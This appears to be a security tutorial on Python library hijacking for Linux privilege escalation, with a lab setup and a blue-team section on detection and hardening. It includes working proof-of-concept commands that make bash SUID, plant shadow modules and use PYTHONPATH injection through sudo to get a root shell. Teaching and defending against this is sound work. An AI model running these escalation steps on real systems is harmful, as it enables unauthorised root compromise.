Introduction / Overview
This article is written for educational purposes and for authorized penetration testing only. Only run these techniques against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions.
Python library hijacking is a privilege escalation technique that abuses how the Python interpreter resolves import statements. When a high-privilege script (for example, one you can run as root via sudo, or one triggered by a cron job running as another user) imports a module, the interpreter searches a list of directories in sys.path. If an attacker can place or modify a module that appears earlier in that search order than the legitimate one — or control the PYTHONPATH environment variable — the attacker's code executes with the privileges of the script.
By the end of this article you will understand the sys.path resolution order, three distinct hijack primitives (writable module, writable directory, and PYTHONPATH), and how blue teams detect and prevent the technique.
How it works / Background
When Python evaluates import os (or any module), it walks sys.path in order and uses the first match. sys.path is populated roughly like this:
- The directory of the script being run (or the current working directory for
-c/REPL). - Directories listed in the
PYTHONPATHenvironment variable. - Installation-dependent default paths (site-packages, the standard library).
You can inspect the order on any host:
python3 -c "import sys; print('\n'.join(sys.path))"
# Trace exactly which file satisfies an import
python3 -c "import requests, inspect; print(inspect.getfile(requests))"
Three conditions create an exploitable hijack:
- Writable module: the legitimate
.pyfile imported by the privileged script is writable by the attacker. You simply edit it. - Writable directory earlier in
sys.path: you can write a same-named.pyinto a directory that Python searches before the real module's location (commonly the script's own directory). - Controllable
PYTHONPATH:sudopreservesPYTHONPATH(viaenv_keepor because the rule usesSETENV), letting you prepend an attacker-controlled directory.
This maps to MITRE ATT&CK T1574.006 (Hijack Execution Flow: Dynamic Linker Hijacking) conceptually and to the broader T1574 (Hijack Execution Flow) family. See also Linux SUID binary abuse and abusing sudo and GTFOBins for related primitives.
Prerequisites / Lab setup
Spin up a simple lab to reproduce all three primitives. Assume a low-privilege user lowpriv and a root-owned script.
# As root: create a privileged helper script
sudo tee /opt/maintenance/cleanup.py >/dev/null <<'EOF'
#!/usr/bin/env python3
import logger # a custom helper module
logger.write("cleanup started")
EOF
sudo tee /opt/maintenance/logger.py >/dev/null <<'EOF'
def write(msg):
print(f"[LOG] {msg}")
EOF
sudo chmod 755 /opt/maintenance/cleanup.py
Grant the low-privilege user the ability to run it via sudo:
echo 'lowpriv ALL=(root) NOPASSWD: /usr/bin/python3 /opt/maintenance/cleanup.py' \
| sudo tee /etc/sudoers.d/cleanup
Confirm what lowpriv is allowed to run:
sudo -l
# (root) NOPASSWD: /usr/bin/python3 /opt/maintenance/cleanup.py
Attack walkthrough / PoC
Primitive 1 — Writable module
First, enumerate writable Python files in paths used by privileged scripts. This is the highest-value find.
# Find writable .py files we don't own that root might import
find / -name "*.py" -writable 2>/dev/null
ls -la /opt/maintenance/
If logger.py is group- or world-writable (a common misconfiguration), overwrite it. Because cleanup.py runs from /opt/maintenance/, that directory is first on sys.path, so the local logger.py is the one imported.
cat > /opt/maintenance/logger.py <<'EOF'
import os
def write(msg):
os.system('chmod u+s /bin/bash') # set SUID on bash
EOF
sudo /usr/bin/python3 /opt/maintenance/cleanup.py
bash -p # -p preserves the SUID privileges -> root shell
id # uid=1000 euid=0
Primitive 2 — Writable directory earlier in sys.path
If logger.py itself is read-only but the directory /opt/maintenance/ is writable, you cannot edit the real module — but you can still win if the imported module lives elsewhere (e.g., site-packages) while the script directory is searched first. Drop a same-named shadow module:
ls -ld /opt/maintenance/ # drwxrwxr-x -> writable
cat > /opt/maintenance/logger.py <<'EOF'
import os; os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')
def write(msg): pass
EOF
sudo /usr/bin/python3 /opt/maintenance/cleanup.py
/tmp/rootbash -p
The script directory always precedes site-packages, so the shadow module wins even against an installed package of the same name.
Primitive 3 — PYTHONPATH injection
If the sudo rule preserves environment variables, you do not need any writable filesystem location. Check the policy:
sudo -l
# look for env_keep+=PYTHONPATH, or "SETENV:", or a wildcard command
If PYTHONPATH is kept (or the rule allows sudo -E / SETENV), prepend your own directory:
mkdir -p /tmp/hijack
cat > /tmp/hijack/logger.py <<'EOF'
import os, pty
os.setuid(0)
pty.spawn("/bin/bash")
EOF
# Inject our directory at the front of the module search path
sudo PYTHONPATH=/tmp/hijack /usr/bin/python3 /opt/maintenance/cleanup.py
# or, if env_keep is configured:
PYTHONPATH=/tmp/hijack sudo -E /usr/bin/python3 /opt/maintenance/cleanup.py
Because PYTHONPATH directories are inserted ahead of the standard library and site-packages, our logger.py is imported first and spawns a root shell.
Mermaid diagram

The diagram shows how a privileged import resolves through sys.path, and how a writable script directory or a preserved PYTHONPATH lets attacker-controlled code run before the legitimate module.
Detection & Defense (Blue Team)
Defense deserves at least as much attention as the offense. Address each primitive directly.
1. Harden filesystem permissions. The root cause is almost always a writable module or directory in a privileged path. Audit regularly:
# World/group-writable .py files and dirs in privileged locations
find /opt /usr/local /srv -type f -name "*.py" -perm -o+w -o -perm -g+w 2>/dev/null
find /opt /usr/local /srv -type d -perm -o+w 2>/dev/null
Privileged scripts and every directory on their sys.path must be owned by root and writable only by root (chmod 755 files, chmod 755 directories — never group/world write).
2. Lock down sudo environment handling. Never add PYTHONPATH to env_keep, and avoid SETENV/wildcards on Python rules. Verify the running policy:
sudo grep -E 'env_keep|env_reset|SETENV' /etc/sudoers /etc/sudoers.d/*
env_reset (the default) strips PYTHONPATH. Also consider secure_path and Defaults!CMND env_delete+="PYTHONPATH PYTHONHOME".
3. Run scripts with isolation flags. python3 -I (isolated mode) ignores PYTHONPATH, the user site directory, and the script's own environment manipulation; -E ignores PYTHON* env vars; -s skips the user site directory. For a sudo-invoked maintenance script, prefer:
sudo /usr/bin/python3 -I /opt/maintenance/cleanup.py
4. Use absolute imports from a fixed, trusted location and pin sys.path at the top of privileged scripts so the script directory cannot shadow stdlib/site-packages:
import sys
sys.path = [p for p in sys.path if p not in ('', '.')]
5. Monitor and audit. Use auditd to watch writes to module directories and reads of sudoers:
auditctl -w /opt/maintenance/ -p wa -k pyhijack
auditctl -w /etc/sudoers.d/ -p wa -k sudoers_change
Detection ideas for the SOC: alert on chmod u+s / chmod 4755 events, on new .py files created in privileged directories by non-root users, and on sudo invocations where PYTHONPATH appears in the environment. File integrity monitoring (AIDE, Tripwire) on /opt, /usr/local, and site-packages catches shadow modules.
Conclusion
Python library hijacking turns a trivial filesystem or environment misconfiguration into a full root compromise. The three primitives — a writable module, a writable directory earlier in sys.path, and a preserved PYTHONPATH — all exploit the same fact: Python imports the first matching module it finds. Defenders close the gap with strict ownership of every directory on a privileged script's path, env_reset in sudo, and isolated-mode (-I) execution. As an attacker, always enumerate sudo -l, writable .py files, and the environment policy before reaching for heavier exploits. For broader methodology, see the Linux privilege escalation checklist.
References
- MITRE ATT&CK — T1574 Hijack Execution Flow: https://attack.mitre.org/techniques/T1574/
- MITRE ATT&CK — T1574.006: https://attack.mitre.org/techniques/T1574/006/
- HackTricks — Python Library Hijacking / Privesc: https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- Python docs —
sys.pathand the module search path: https://docs.python.org/3/library/sys.html#sys.path - Python docs — command line options (
-I,-E,-s): https://docs.python.org/3/using/cmdline.html - GTFOBins — python: https://gtfobins.github.io/gtfobins/python/
- sudoers(5) manual (env_reset, env_keep, secure_path): https://www.sudo.ws/docs/man/sudoers.man/



Comments